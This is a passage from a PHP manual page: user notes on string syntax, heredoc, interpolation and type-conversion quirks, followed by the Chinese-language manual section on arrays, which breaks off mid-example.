echo $str[1] //will print t

It cannot be used as double dimentional array.

If the string is appended with an array

$str.array(1,2);
echo $str will output stringArray

echo $str[6] will print 'A'
alex dot baldacchino at email dot it
17-May-2006 10:42
A little note on variables types and automatic cast in context, when used in statements other than assignment ones (that is when passed to a function, when elaborated on the right of the "=" sign, when a "property" is recalled by the mean of an operator - such us indexed access - and so on): I don't think that's right to say php is typeless or not fully typed, it is yet, but types are not statically determined, instead they're dynamically inferred during execution. This mean that each time a value is elaborated to be assigned to a variable, the value type became the variable type, and if such operation involves an operator allowing different types, a proper type cast occurs, but any variable type on the right side of the assignment operator is left untuched (unless the operator implies an assignment, like incrementing/decrementing ones).

In other words, and generally speaking about languages with dynamic, runtime inferred types, every time I assign a value to a variable, its type changes according to the computed value, but in a cast without self-assignment no cast should happen, instead a temporary variable should be created with the right type and converted value assigned to that; if an operator is not defined for a type, but a cast is possible to any allowed type, if no self assignment occurs, no type cast occurs as well, thus the unability to access an integer by index as it whould be a string.

A possible test:

<?php

$int_var = 5;
echo "\\n int_var is of type: ".gettype($int_var);

$str_var = "12";
echo "\\n str_var is of type: ".gettype($str_var);

$temp_int = (int) $str_var;
echo "\\n temp_int is of type: ".gettype($temp_int)." and has value: $temp_int";
echo "\\n str_var after casting on the right of '=' sign is of type: ".gettype($str_var);

$addition = $int_var + $str_var;
echo "\\n addition has value: $addition; $str_var after addition is of type: ".gettype($str_var);

$str_var = $temp_int;
echo "\\n str_var after another assignment is of type: ".gettype($str_var);

?>

What does it happen?
bishop
29-Mar-2006 04:58
You may use heredoc syntax to comment out large blocks of code, as follows:
<?php
<<<_EOC
    // end-of-line comment will be masked... so will regular PHP:
   echo ($test == 'foo' ? 'bar' : 'baz');
   /* c-style comment will be masked, as will other heredocs (not using the same marker) */
   echo <<<EOHTML
This is text you'll never see!
EOHTML;
   function defintion($params) {
       echo 'foo';
   }
   class definition extends nothing    {
       function definition($param) {
         echo 'do nothing';
       }
   }

   how about syntax errors?; = gone, I bet.
_EOC;
?>

Useful for debugging when C-style just won't do.  Also useful if you wish to embed Perl-like Plain Old Documentation; extraction between POD markers is left as an exercise for the reader.

Note there is a performance penalty for this method, as PHP must still parse and variable substitute the string.
justin at aers dot ne dot spam dot pas dot ca
17-Mar-2006 07:57
RE: www.feisar.de

The example posted in the note, as well as the follow up...

(posted here for reference)
<?php

$x1 = '111111111111111111';
$x2 = '111111111111111112';

echo ($x1 == $x2) ? "true\n" : "false\n";

?>

...now returns false as of php 4.4.x and beyond. This may have been a bug in 4.3.x, as it *does* return true in all the v. 4.3.x machines we tested it on.

This is not to say that it would no longer be smart to do a strict comparison with ===, but the example above seems to now function as one would expect.
Per Persson
08-Feb-2006 04:39
Although the manual sounds as you could use almost arbitrary expressions in "...{$...}...", actually you can't. However, I have proposed this possibility:
http://www.zend.com/phorum/read.php?num=6&id=655&loc=0&thread=655
adam at obledesign dot com
22-Jan-2006 04:51
If you really want to get constants inside your string you can do something like this (PHP5 only).

<?php

class GetConstant {
 public function __get($constant_name) {
  return (defined($constant_name) ? constant($constant_name) : NULL);
 }
}

$C = new GetConstant();

define('FOO','bar');

echo("I want a candy {$C->FOO}.");

?>
csaba at alum dot mit dot edu
31-Dec-2005 07:15
Multiline strings:
In most of the strings on this doc page, the heredoc form (<<<) is not needed.  The heredoc form is useful when you also want to embed, without escaping, quotes of the same type as the starting quote.  The single quote form is particularly useful when you want to specify multiline code for future evaluation.

<?php
$code = '
  $output = "Mutliline output";
  $out = "$output within multiline code:
$ needs escaping within \$out,
and double quotes (\") need escaping within \$out,
but single quotes (\') need escaping everywhere.";
  // Next two lines work with php.exe
  /* on Windows systems */
  $oWSH = new COM("WScript.Shell");
  $oWSH->Popup($out, 4, \'IO Demo\', 131120);
';
print "<pre>$code</pre>";
call_user_func (create_function('', $code));
?>

Happy New Year,
Csaba Gabor from Vienna
19-Dec-2005 10:10
RE  www.feisar.de
<?php

$x1 = '111111111111111111';
$x2 = '111111111111111112';

echo ($x1 == $x2) ? "true\n" : "false\n";

?> // prints true;

You are right about need to use === to force a string to string comparison.

However as the number exceed the 32 bit range PHP is comparing the floating point not the integer values.

Both have a float values of 1.11111111111E+017
wilkinson98 at hotmail dot com
17-Dec-2005 09:53
You can't depend on hex in strings to be converted.

<?php

// prints 17
echo 1 + '0x10';

// prints 0
echo (int) '0x10';

?>
Alex
10-Dec-2005 03:24
For heredocs, the manual is accurate.  Many other descriptions on the web are not.

PHP always tries to evaluate variables.  So if you want a $ sign, it always needs to be escaped or in complex format, depending on the context.  This is especially important if you are trying to do an eval().

<?php
   $foo = 1;
   $code = <<<CODE
$bar = $foo;
CODE;
   eval ($code);    // doesn't work
?>

<?php
   $foo = 1;
   $code = <<<CODE
\$bar = \$foo;
CODE;
   eval ($code);    // $bar = $foo;
?>

<?php
   $foo = 1;
   $code = <<<CODE
\$bar = {$foo};
CODE;
   eval ($code);    // $bar = 1;
?>

<?php
   $foo = 1;
   $code = <<<CODE
{$bar} = {$foo};
CODE;
   eval ($code);    // doesn't work
?>
webmaster at rephunter dot net
01-Dec-2005 12:57
Use caution when you need white space at the end of a heredoc. Not only is the mandatory final newline before the terminating symbol stripped, but an immediately preceding newline or space character is also stripped.

For example, in the following, the final space character (indicated by \s -- that is, the "\s" is not literally in the text, but is only used to indicate the space character) is stripped:

$string = <<<EOT
this is a string with a terminating space\s
EOT;

In the following, there will only be a single newline at the end of the string, even though two are shown in the text:

$string = <<<EOT
this is a string that must be
followed by a single newline

EOT;
DELETETHIS dot php at dfackrell dot mailshell dot com
02-Nov-2005 12:05
Just some quick observations on variable interpolation:

Because PHP looks for {? to start a complex variable expression in a double-quoted string, you can call object methods, but not class methods or unbound functions.

This works:

<?php
class a {
   function b() {
       return "World";
   }
}
$c = new a;
echo "Hello {$c->b()}.\n"
?>

While this does not:

<?php
function b() {
   return "World";
}
echo "Hello {b()}\n";
?>

Also, it appears that you can almost without limitation perform other processing within the argument list, but not outside it.  For example:

<?
$true = true;
define("HW", "Hello World");
echo "{$true && HW}";
?>

gives: Parse error: parse error, unexpected T_BOOLEAN_AND, expecting '}' in - on line 3

There may still be some way to kludge the syntax to allow constants and unbound function calls inside a double-quoted string, but it isn't readily apparent to me at the moment, and I'm not sure I'd prefer the workaround over breaking out of the string at this point.
php at simoneast dot NOSPAM dot net
12-Sep-2005 06:17
Be ULTRA careful when multiplying numbers like '1,000'.  If it's a string with a thousands separator like that, PHP ignores everything after the comma.

<?
echo "2,500" * 2;        // displays 4
echo "20,50" * 2;        // displays 4
echo "2,500.00" * 2;    // displays 4

is_numeric("2,500");    // false
?>

I was developing a shopping cart, and had items worth over $1,000 advertised as $1!  Luckily we realised before launch.
Don
29-Aug-2005 09:24
I found this very helpful:

http://shiflett.org/archive/140
diannes at dbfields dot com
22-Jun-2005 04:41
I was trying to perform a series of manipulations on a string  and found that there doesn't seem to be any easy way to force variable expansion to occur if a string hadn't originally been created as double-quoted or heredoc. Maybe there's an easier workaround than the one below, but it's what I ended up doing.
-------------------------------
$var = '5';
$str = "var = $var ";
echo $str;        // prints 'var = "5" ' (expected result)
$str = 'var = "$var" ';
echo $str;        // prints 'var = "$var" ' (expected result)

// NO VARIABLE EXPANSION:

$str = 'var = "$var" ';
echo $str;        // prints 'var = "$var" '
echo "$str";      // prints 'var = "$var" '
$str = "$str";
echo $str;        // still prints 'var = "$var" '
$str = (string)$str;
echo $str;        // still prints 'var = "$var" '
$str = strval($str);
echo $str;        // still prints 'var = "$var" '

// NO VARIABLE EXPANSION THIS WAY EITHER:

$str = 'var = "{$var}" ';
// yields similar results to above

// NO VARIABLE EXPANSION WHEN STRING IS FROM A FILE

$str = implode("",file("foo"));
echo $str;        // prints 'var = "$var" '

// THIS WILL FORCE VARIABLE EXPANSION TO OCCUR:

$str = str_replace('"','\"',$str);  // escape double quotes
echo eval('echo "'.$str.'";');      // prints 'var = "5" '
$str = 'ob_start(); echo "'.$str.'"; ob_get_contents();';
$str = eval($str);
echo $str;                          // prints 'var = "5" '
nutbar at innocent dot com
09-Jun-2005 12:10
A correction to skippy's comment:

"...you can use either ${ or {$ to open the curly expression ie. "${var}" and "{$var}" are equivalent."

Is incorrect.

For simple variables, such as in the example quoted yes both function and yeild the expected result.  However, when dealing with array variables like $array['key'], doing "${array['key']}" will yeild errors or unexpected results.  The correct formatting is "{$array['key']}".
lelon at lelon dot net
28-Oct-2004 03:01
You can use the complex syntax to put the value of both object properties AND object methods inside a string.  For example...
<?php
class Test {
   public $one = 1;
   public function two() {
       return 2;
   }
}
$test = new Test();
echo "foo {$test->one} bar {$test->two()}";
?>
Will output "foo 1 bar 2".

However, you cannot do this for all values in your namespace.  Class constants and static properties/methods will not work because the complex syntax looks for the '$'.
<?php
class Test {
   const ONE = 1;
}
echo "foo {Test::ONE} bar";
?>
This will output "foo {Test::one} bar".  Constants and static properties require you to break up the string.
bishop
10-Sep-2004 06:47
Re: Jonathan Lozinski's note on vim syntax highlighting, we use EOHTML, EOSQL, and EOJAVASCRIPT quite frequently for HTML, SQL, and JavaScript, respectively.

eg:

<?php
$query =<<<EOSQL
SELECT Foo.a,
       Foo.b,
       Bar.a
  FROM Foo
  LEFT
  JOIN Bar
     ON Foo.x=Bar.y
 WHERE Foo.b LIKE '%123%'
EOSQL;
?>

will be highlighted correctly for SQL under VIM.
Jonathan Lozinski
07-Aug-2004 03:03
A note on the heredoc stuff.

If you're editing with VI/VIM and possible other syntax highlighting editors, then using certain words is the way forward.  if you use <<<HTML for example, then the text will be hightlighted for HTML!!

I just found this out and used sed to alter all EOF to HTML.

JAVASCRIPT also works, and possibly others.  The only thing about <<<JAVASCRIPT is that you can't add the <script> tags..,  so use HTML instead, which will correctly highlight all JavaScript too..  There might be one for Text/css too?
skippy zuavra net
20-Jul-2004 11:55
The short version for the curly syntax:

1. $str{something} is the equivalent of $str[something]

2. Inside "" strings you can use any variable, no matter how complex the addressing mode (multiple index array, imbricated objects) by enclosing the variable in {}: "foo{$any_variable}bar".

To add to the confusion:

a) The two uses above have nothing in common, conceptually. For instance, #1 can use operations or functions as that something, #2 is restricted to just variables.

b) In #2, you can use either ${ or {$ to open the curly expression ie. "${var}" and "{$var}" are equivalent.
rtb27 at cam dot ac dot uk
30-Jun-2004 10:59
If you want side effects to occur during variable substituion inside strings, the "?" operator can help. For example:

<?php

$i = 0;
echo <<<LONGSTRING

one {${$i++ ? "i" : "i"}}
two {${$i++ ? "i" : "i"}}
three {${$i++ ? "i" : "i"}}

LONGSTRING;

?>

will print: "one 1 two 2 three 3"
www.feisar.de
28-Apr-2004 10:49
watch out when comparing strings that are numbers. this example:

<?php

$x1 = '111111111111111111';
$x2 = '111111111111111112';

echo ($x1 == $x2) ? "true\n" : "false\n";

?>

will output "true", although the strings are different. With large integer-strings, it seems that PHP compares only the integer values, not the strings. Even strval() will not work here.

To be on the safe side, use:

$x1 === $x2
atnak at chejz dot com
12-Apr-2004 06:53
Here is a possible gotcha related to oddness involved with accessing strings by character past the end of the string:

$string = 'a';

var_dump($string{2});  // string(0) ""
var_dump($string{7});  // string(0) ""
$string{7} === '';  // TRUE

It appears that anything past the end of the string gives an empty string..  However, when E_NOTICE is on, the above examples will throw the message:

Notice:  Uninitialized string offset:  N in FILE on line LINE

This message cannot be specifically masked with @$string{7}, as is possible when $string itself is unset.

isset($string{7});  // FALSE
$string{7} === NULL;  // FALSE

Even though it seems like a not-NULL value of type string, it is still considered unset.
zefram at cesena dot net
30-Mar-2004 08:04
Make attention to string conversion!
Strings may evaluate to true but also to zero!!

<?
 $hello='hi there';
 echo($hello?'true':'false');        //true
 echo($hello==0?'true':'false');      //true!!!!!
 echo($hello===0?'true':'false');    //false
?>
maka3d at yahoo dot com dot br
27-Feb-2004 02:46
Remember that even PHP is type less, some convertions like INTEGER to STRING is not done when using character direct access like string functions does.
<?php
$str = '456';
echo strlen($str); // strlen convert int to string automatically
echo $str{0}; // this works
$str = 456;
echo $str{0}; // this NOT works
$str = (string)$str; // do type cast to string
echo $str{1}; // now it works
?>
gijs at dghostingworld dot com
24-Feb-2004 03:18
If you use the heredoc syntax and you want to insert an function that echo's something use the following escape sequence: {${header('This is text', 'color')}}

This will execute the function.

hope this helps somebody.

G
marcus at synchromedia dot co dot uk
25-Jan-2004 07:41
If you need to output a string that contains the 'end of php' sequence ?>, or perhaps you have trouble with your editor's syntax colouring because of it, for instance if you wish to do this:

<?php
print "<?xml version=\"1.0\"?>\n";
?>

you can instead use an encoded char to remove the confusion:

<?php
print "<?xml version=\"1.0\"\x3F>\n";
?>

Note that this notes page doesn't have a problem with this syntax!
dandrake
20-Jan-2004 07:41
By the way, the example with the "\n" sequence will insert a new line in the html code, while the output will be decided by the HTML syntax. That's why, if you use

<?
 echo "Hello \n World";
?>

the browser will receive the HTML code on 2 lines
but his output on the page will be shown on one line only.
To diplay on 2 lines simply use:

<?
 echo "Hello <br>World";
?>

like in HTML.
mina86 at tlen dot pl
26-Dec-2003 03:00
Re: reuterpl at wp dot pl
No, that's not true.. I mean not exactly true gowever I know what you meant but begginers may not know and feal confused..

<?php
$str = "Hello \n World";

echo($str);
// Output:
//  Hello
//    World
// Browser renders it as:
//  Hello World

echo('<pre>' . $str . '</pre>');
// Output:
//  <pre>Hello
//    World</pre>
// Browser renders it as:
//  Hello
//  World

$str = nl2br($str);
echo($str);
// Output:
//  Hello <br /> World
// Browser renders it as:
//  Hello
//  World

echo('<pre>' . $str . '</pre>');
// Output:
//  <pre>Hello <br /> World</pre>
// Browser renders it as:
//  Hello
//
//    World
?>

Re: cs_1 at gmx dot de
I use only UNIX line ends an have no problems with heredoc syntax, so maybe your problem was with something else..
dev6 at es11 dot com
29-Aug-2003 03:42
In response to the most recent post, by Edwin:  Huh?

First, $foo is not NULL terminated, it's newline terminated.  NULL and \n are not even remotely the same thing.

Second, the example you posted works perfectly.  Both values get computed and printed as 3.0, not 2.0.
edwin at se-technology dot com
06-Jun-2003 05:58
This one took me a while to sort out:

$foo = "1.5\n";
$bar = "1.5";
printf ("%6.2f, %6.2f ", $foo*2, $bar*2);

>> 2.0, 3.0

So apparently string conversion is messed up by NULL, an obvious solution in case you happen to have a NULL terminated string is:

$foo = rtrim ($foo);
gmarik at hotbox dot ru
25-Apr-2003 02:57
This is how I did it, if tou need to cut big text blocks in easy to browse text blocks:

$str = "bla bla nla. asdfasd. fdsfd fafsasf. asasdwe fdscz asdvc. afasffas. afafs vcxrqw cvea.";

preg_match_all("/.{1500,}?\./s",$str,$out,PREG_PATTERN_ORDER);
list($out) = $out;

print_r($out);

And this is the dynamic menu to navigate between the blocks:

for ($i=0; $i<count($out); $i++) {
$pgnum = $i+1;
echo "<option value=$pgnum>$pgnum</option>";
}
philip at cornado dot com
12-Apr-2003 08:37
Note that in PHP versions 4.3.0 and 4.3.1, the following provides a bogus E_NOTICE (this is a known bug):

echo "$somearray['bar']";

This is accessing an array inside a string using a quoted key and no {braces}.  Reading the documention shows all the correct ways to do this but the above will output nothing on most systems (most have E_NOTICE off) so users may be confused.  In PHP 4.3.2, the above will again yield a parse error.
04-Mar-2003 02:04
Regarding "String access by character":

Apparently if you edit a specific character in a string, causing the string to be non-continuous, blank spaces will be added in the empty spots.

echo '<pre>';
$str = '0123';
echo "$str\n";
$str{4} = '4';
echo "$str\n";
$str{6} = '6';
echo "$str\n";

This will output:
0123
01234
01234 6
Notice the blank space where 5 should be.

(PHP 4.3.1)
cs_1 at gmx dot de
12-Feb-2003 04:57
Be sure to save your PHP files with CrLf line ends when using the heredoc syntax for a variable, e.g.:

$var1 = <<<EOT
sdsdsd
EOT;

didn't work on my linux system when using unix line ends...
Jeff at jsgennusa at yahoo dot com
25-Jan-2003 03:28
This is why this is right:

$beer = 'Heineken';
echo "$beer's taste is great"; // works, "'" is an invalid character for varnames
echo "He drank some $beers";  // won't work, 's' is a valid character for varnames
echo "He drank some ${beer}s"; // works

In all these examples, the php code is looking for the variable $beer.
In the first one, it works because when it finds $beer's it actually finds $beer and stops at the '.
In the second one, it doesn't work because there is no variable designated as $beers.
The third one works because the php code reads { and } as specifying what the actually variable is that it should be looking for.  The { and } allow you to add onto the variable.
jm at roth dot lu
18-Jan-2003 11:09
ERRATA?

Shouldn't this :

echo "$beer's taste is great"; // works, "'" is an invalid character for varnames
echo "He drank some $beers";  // , 's' is a valid character for varnames
echo "He drank some ${beer}s"; // works

be like that:

echo "$beer's taste is great"; // won't work, "'" is an invalid character for varnames
echo "He drank some $beers";  // works, 's' is a valid character for varnames
echo "He drank some ${beer}s"; // works
vallo at cs dot helsinki dot fi
04-Nov-2002 09:41
Even if the correct way to handle variables is determined from the context, some things just doesn't work without doing some preparation.

I spent several hours figuring out why I couldn't index a character out of a string after doing some math with it just before. The reason was that PHP thought the string was an integer!

$reference = $base + $userid;
.. looping commands ..
$chartohandle = $reference{$last_char - $i};

Above doesn't work. Reason: last operation with $reference is to store a product of an addition -> integer variable. $reference .=""; (string catenation) had to be added before I got it to work:

$reference = $base + $userid;
$reference .= "";
.. looping commands ..
$chartohandle = $reference{$last_char - $i};

Et voil! Nice stream of single characters.
junkit at gmx dot net
16-Aug-2002 10:08
If you need to escape "$" to be escaped in the output, you need "\\\\$" - or maybe even more!

$ is a control character in Latex. If you want it to become \$ for further processing through Latex, it seems that there must be 4 (!) backslashes - so that in the end there is one left after processing the string twice. Once through str_replace and once through preg_replace!

Using 4.1.0 on Windows.
guidod at gmx dot de
23-Jul-2002 02:26
PHP's double-quoted strings are inherently ill-featured - they will be a problem especially with computed code like in /e-evals with preg_replace.

bash and perl follow the widely accepted rule that all backslashes will escape the nextfollowing char, and nonalpha-chars will always get printed there as themselves whereas (the unescaped chars might have special meaning in regex). Anyway, it is a great way to just escape all nonalpha chars that you uncertain about whether they have special meaning in some places, and ye'll be sure they will get printed literal.

Furthermore, note that \{ sequence is not mentioned in the  escape-char table! You'll get to know about it only "complex (curly) syntax". This can even more be a problem with evals, as they behave rather flaky like it _cannot_ be accomodated for computed code. Try all variants of `echo "hello \{\$world}"` removing one or more of the chars in the \{\$ part - have fun!
04-Jun-2002 05:58
//Some more useful examples (and some that are only interesting):
$foo = 1 + "010";
//$foo is 11, not 9 - i.e. PHP doesn't recognize 010 as octal.

$foo = 1 + "0x10";
//$foo is 17 - i.e. PHP DOES recognize 0x10 as hex for 16.

$foo = 1 + "\x10";
$bar = 1 + "\x35"; //0x35 is ASCII for '5'
//$foo is 1, but $bar is 6.

$foo = 1 + "0x\x41\x31"; //0x41 is ASCII 'A'; 0x31 is '1'
//$foo is 162: 1 + 0xA1 = 1 + 161.

/*NOTE: These examples were "discovered" using PHP4, Apache2,
Red Hat 7.2*/
hleu at tomorrow-ag dot de
17-Aug-2001 09:07
see 'String conversion':
'...Otherwise, the value will be 0 (zero).'

now look at this:
<?php  if (0=='yes') echo "no!!!";  ?>
yes, it really says "no!!!"
...just something to keep in mind...
philip at cornado dot com
11-Aug-2000 04:38
A nice "Introduction to PHP Strings" tutorial:
  http://www.zend.com/zend/tut/using-strings.php
mmeisinger at commdot dot com
02-Feb-2000 07:28
The new line is very similar to VBScript's "vbcrlf". The only place where you will see the new line is in the "Post-Parsed" Code. The '\n' can also be used to format Email's and Text Files that PHP is writting.
So in closing, use '<br>' to create a new line for your HTML Page and use '\n' to format the Code and Text Files
add a note add a note

后退 | 起点 | 前进
浮点型 | 上一级 | 数组


数组

PHP 中的数组实际上是一个有序图。图是一种把 values 映射到 keys 的类型。此类型在很多方面做了优化，因此可以把它当成真正的数组来使用，或列表（矢量），散列表（是图的一种实现），字典，集合，栈，队列以及更多可能性。因为可以用另一个 PHP 数组作为值，也可以很容易地模拟树。

解释这些结构超出了本手册的范围，但对于每种结构至少会发现一个例子。要得到这些结构的更多信息，建议参考有关此广阔主题的外部著作。

语法

定义 array()

可以用 array() 语言结构来新建一个 array。它接受一定数量用逗号分隔的 key => value 参数对。

array( [key =>]
value
     , ...
     )
// key 可以是 integer 或者 string
// value 可以是任何值

<?php
$arr = array("foo" => "bar", 12 => true);

echo $arr["foo"]; // bar
echo $arr[12];    // 1
?>

key 可以是 integer 或者 string。如果键名是一个 integer 的标准表达方法，则被解释为整数（例如 "8" 将被解释为 8，而 "08" 将被解释为 "08"）。key 中的浮点数被取整为 integer。PHP 中没有不同的数字下标和关联下标数组，数组的类型只有一种，它可以同时包含整型和字符串型的下标。

值可以是任何值。

<?php
$arr = array("somearray" => array(6 => 5, 13 => 9, "a" => 42));

echo $arr["somearray"][6];    // 5
echo $arr["somearray"][13];   // 9
echo $arr["somearray"]["a"];  // 42
?>

如果对给出的值没有指定键名，则取当前最大的整数索引值，而新的键名将是该值加一。如果指定的键名已经有了值，则该值会被覆盖。

<?php
// This array is the same as ...
array(5 => 43, 32, 56, "b" => 12);

// ...this array
array(5 => 43, 6 => 32, 7 => 56, "b" => 12);
?>

警告

自 PHP 4.3.0 起，上述的索引生成方法改变了。如今如果给一个当前最大键名是负值的数组添加一个新值，则新生成的的索引将为零（0）。以前新生成的索引为当前最大索引加一，和正值的索引相同。

使用 TRUE 作为键名将使 integer 1 成为键名。使用 FALSE 作为键名将使 integer 0 成为键名。使用 NULL 作为键名将等同于使用空字符串。使用空字符串作为键名将新建（或覆盖）一个用空字符串作为键名的值，这和用空的方括号不一样。

不能用数组和对象作为键名。这样做会导致一个警告：Illegal offset type。

用方括号的语法新建／修改

可以通过明示地设定值来改变一个现有的数组。

这是通过在方括号内指定键名来给数组赋值实现的。也可以省略键名，在这种情况下给变量名加上一对空的方括号（“[]”）。
$arr[key] = value;
$arr[] = value;
// key 可以是 integer 或者 string
// value 可以为任何值。
如果 $arr 还不存在，将会新建一个。这也是一种定义数组的替换方法。要改变一个值，只要给它赋一个新值。如果要删除一个键名／值对，要对它用 unset()。

<?php
$arr = array(5 => 1, 12 => 2);
$arr[] = 56;    // This is the same as $arr[13] = 56;
                // at this point of the script
$arr["x"] = 42; // This adds a new element to
                // the array with key "x"
unset($arr[5]); // This removes the element from the array
unset($arr);    // This deletes the whole array
?>

注: 如上所述，如果给出方括号但没有指定键名，则取当前最大整数索引值，新的键名将是该值 + 1。如果当前还没有整数索引，则键名将为 0。如果指定的键名已经有值了，该值将被覆盖。

警告

自 PHP 4.3.0 起，上述的索引生成方法改变了。如今如果给一个当前最大键名是负值的数组添加一个新值，则新生成的的索引将为零（0）。以前新生成的索引为当前最大索引加一，和正值的索引相同。

注意这里所使用的最大整数键名不一定当前就在数组中。它只要在上次数组重新生成索引后曾经存在过就行了。以下面的例子来说明：

<?php
// 创建一个简单的数组
$array = array(1, 2, 3, 4, 5);
print_r($array);

// 现在删除其中的所有单元，但保持数组本身的结构
foreach ($array as $i => $value) {
    unset($array[$i]);
}
print_r($array);

// 添加一个单元（注意新的键名是 5，而不是你可能以为的 0）
$array[] = 6;
print_r($array);

// 重新索引：
$array = array_values($array);
$array[] = 7;
print_r($array);
?>

上例将输出：

Array
(
    [0] => 1
    [1] => 2
    [2] => 3
    [3] => 4
    [4] => 5
)
Array
(
)
Array
(
    [5] => 6
)
Array
(
    [0] => 6
    [1] => 7
)

实用函数

有相当多的实用函数作用于数组，参见数组函数一节。

注: unset() 函数允许取消一个数组中的键名。要注意数组将不会重建索引。

<?PHP
$a = array( 1 => 'one', 2 => 'two', 3 => 'three' );
unset( $a[2] );
/* 将产生一个数组，定义为
   $a = array( 1=>'one', 3=>'three');
   而不是
   $a = array( 1 => 'one', 2 => 'three');
*/
$b = array_values($a);
// Now $b is array(0 => 'one', 1 =>'three')
?>

foreach 控制结构是专门用于数组的。它提供了一个简单的方法来遍历数组。

数组做什么和不做什么

为什么 $foo[bar] 错了？

应该始终在用字符串表示的数组索引上加上引号。例如用 $foo['bar'] 而不是 $foo[bar]。但是为什么 $foo[bar] 错了呢？可能在老的脚本中见过如下语法：

<?php
$foo[bar] = 'enemy';
echo $foo[bar];
// etc
?>

这样是错的，但可以正常运行。那么为什么错了呢？原因是此代码中有一个未定义的常量（bar）而不是字符串（'bar'－注意引号），而 PHP 可能会在以后定义此常量，不幸的是你的代码中有同样的名字。它能运行，是因为 PHP 自动将裸字符串（没有引号的字符串且不对应于任何已知符号）转换成一个其值为该裸字符串的正常字符串。例如，如果没有常量定义为 bar，PHP 将把它替代为 'bar' 并使用之。

注: 这并不意味着总是给键名加上引号。用不着给键名为常量或变量的加上引号，否则会使 PHP 不能解析它们。

<?php
error_reporting(E_ALL);
ini_set('display_errors', true);
ini_set('html_errors', false);
// Simple array:
$array = array(1, 2);
$count = count($array);
for ($i = 0; $i < $count; $i++) {
    echo "\nChecking $i: \n";
    echo "Bad: " . $array['$i'] . "\n";
    echo "Good: " . $array[$i] . "\n";
    echo "Bad: {$array['$i']}\n";
    echo "Good: {$array[$i]}\n";
}
?>

注: 上例将输出：

Checking 0:
Notice: Undefined index:  $i in /path/to/script.html on line 9
Bad:
Good: 1
Notice: Undefined index:  $i in /path/to/script.html on line 11
Bad:
Good: 1

Checking 1:
Notice: Undefined index:  $i in /path/to/script.html on line 9
Bad:
Good: 2
Notice: Undefined index:  $i in /path/to/script.html on line 11
Bad:
Good: 2

演示此效应的更多例子：

<?php
// 显示所有错误
error_reporting(E_ALL);

$arr = array('fruit' => 'apple', 'veggie' => 'carrot');

// 正确
print $arr['fruit'];  // apple
print $arr['veggie']; // carrot

// 不正确。This works but also throws a PHP error of
// level E_NOTICE because of an undefined constant named fruit
//
// Notice: Use of undefined constant fruit - assumed 'fruit' in...
print $arr[fruit];    // apple

// Let's define a constant to demonstrate what's going on.  We
// will assign value 'veggie' to a constant named fruit.
define('fruit','veggie');

// Notice the difference now
print $arr['fruit'];  // apple
print $arr[fruit];    // carrot

// The following is okay as it's inside a string.  Constants are not
// looked for within strings so no E_NOTICE error here
print "Hello $arr[fruit]";      // Hello apple

// With one exception, braces surrounding arrays within strings
// allows constants to be looked for
print "Hello {$arr[fruit]}";    // Hello carrot
print "Hello {$arr['fruit']}";  // Hello apple

// This will not work, results in a parse error such as:
// Parse error: parse error, expecting T_STRING' or T_VARIABLE' or T_NUM_STRING'
// This of course applies to using autoglobals in strings as well
print "Hello $arr['fruit']";
print "Hello $_GET['foo']";

// Concatenation is another option
print "Hello " . $arr['fruit']; // Hello apple
?>

当打开 error_reporting() 来显示 E_NOTICE 级别的错误（例如将其设为 E_ALL）时将看到这些错误。默认情况下 error_reporting 被关闭不显示这些。

和在语法一节中规定的一样，在方括号（“[”和“]”）之间必须有一个表达式。这意味着可以这样写：

<?php
echo $arr[somefunc($bar)];
?>

这是一个用函数返回值作为数组索引的例子。PHP 也可以用已知常量，可能之前已经见过 E_*。

<?php
$error_descriptions[E_ERROR]   = "A fatal error has occured";
$error_descriptions[E_WARNING] = "PHP issued a warning";
$error_descriptions[E_NOTICE]  = "This is just an informal notice";
?>

注意 E_ERROR 也是个合法的标识符，就和第一个例子中的 bar 一样。但是上一个例子实际上和如下写法是一样的：

<?php
$error_descriptions[1] = "A fatal error has occured";
$error_descriptions[2] = "PHP issued a warning";
$error_descriptions[8] = "This is just an informal notice";
?>

因为 E_ERROR 等于 1，等等。

如同在以上例子中解释的那样，$foo[bar] 起作用但其实是错误的。它起作用是因为根据语法的预期，bar 被当成了一个常量表达式。然而，在这个例子中不存在名为 bar 的常量。PHP 就假定指的是字面上的 bar，也就是字符串 "bar"，但忘记加引号了。

那么为什么这样做不好？

在未来的某一时刻，PHP 开发小组可能会想新增一个常量或者关键字，或者用户可能希望以后在自己的程序中引入新的常量，那就有麻烦了。例如已经不能这样用 empty 和 default 这两个词了，因为他们是保留字。

注: 重申一次，在双引号字符串中，不给索引加上引号是合法的因此 "$foo[bar]"是合法的。至于为什么参见以上的例子和字符串中的变量解析中的解释。

转换为数组

对于任何的类型：整型、浮点、字符串、布尔和资源，如果将一个值转换为数组，将得到一个仅有一个元素的数组（其下标为 0），该元素即为此标量的值。

如果将一个对象转换成一个数组，所得到的数组的元素为该对象的属性（成员变量），其键名为成员变量名。

如果将一个 NULL 值转换成数组，将得到一个空数组。

比较

有可能通过 array_diff() 和数组运算符来比较数组。

例子

PHP 中的数组类型有非常多的用途，因此这里有一些例子展示数组的完整威力。

<?php
// this
$a = array( 'color' => 'red',
            'taste' => 'sweet',
            'shape' => 'round',
            'name'  => 'apple',
                       4        // key will be 0
          );

// is completely equivalent with
$a['color'] = 'red';
$a['taste'] = 'sweet';
$a['shape'] = 'round';
$a['name']  = 'apple';
$a[]        = 4;        // key will be 0

$b[] = 'a';
$b[] = 'b';
$b[] = 'c';
// will result in the array array(0 => 'a' , 1 => 'b' , 2 => 'c'),
// or simply array('a', 'b', 'c')
?>

例子 11-6. 使用 array()

<?php
// Array as (property-)map
$map = array( 'version'    => 4,
              'OS'         => 'Linux',
              'lang'       => 'english',
              'short_tags' => true
            );

// strictly numerical keys
$array = array( 7,
                8,
                0,
                156,
                -10
              );
// this is the same as array(0 => 7, 1 => 8, ...)

$switching = array(         10, // key = 0
                    5    =>  6,
                    3    =>  7,
                    'a'  =>  4,
                            11, // key = 6 (maximum of integer-indices was 5)
                    '8'  =>  2, // key = 8 (integer!)
                    '02' => 77, // key = '02'
                    0    => 12  // the value 10 will be overwritten by 12
                  );
// empty array
$empty = array();
?>

例子 11-7. 集合

<?php
$colors = array('red', 'blue', 'green', 'yellow');

foreach ($colors as $color) {
    echo "Do you like $color?\n";
}

?>

上例将输出：

Do you like red?
Do you like blue?
Do you like green?
Do you like yellow?

直接改变数组的值在 PHP 5 中可以通过引用传递来做到。之前的版本需要需要采取别的方法：

例子 11-8. 集合

<?php
// PHP 5
foreach ($colors as &$color) {
    $color = strtoupper($color);
}
unset($color); /* 确保下面对 $color 的覆盖不会影响到前一个数组单元 */
// 之前版本的方法
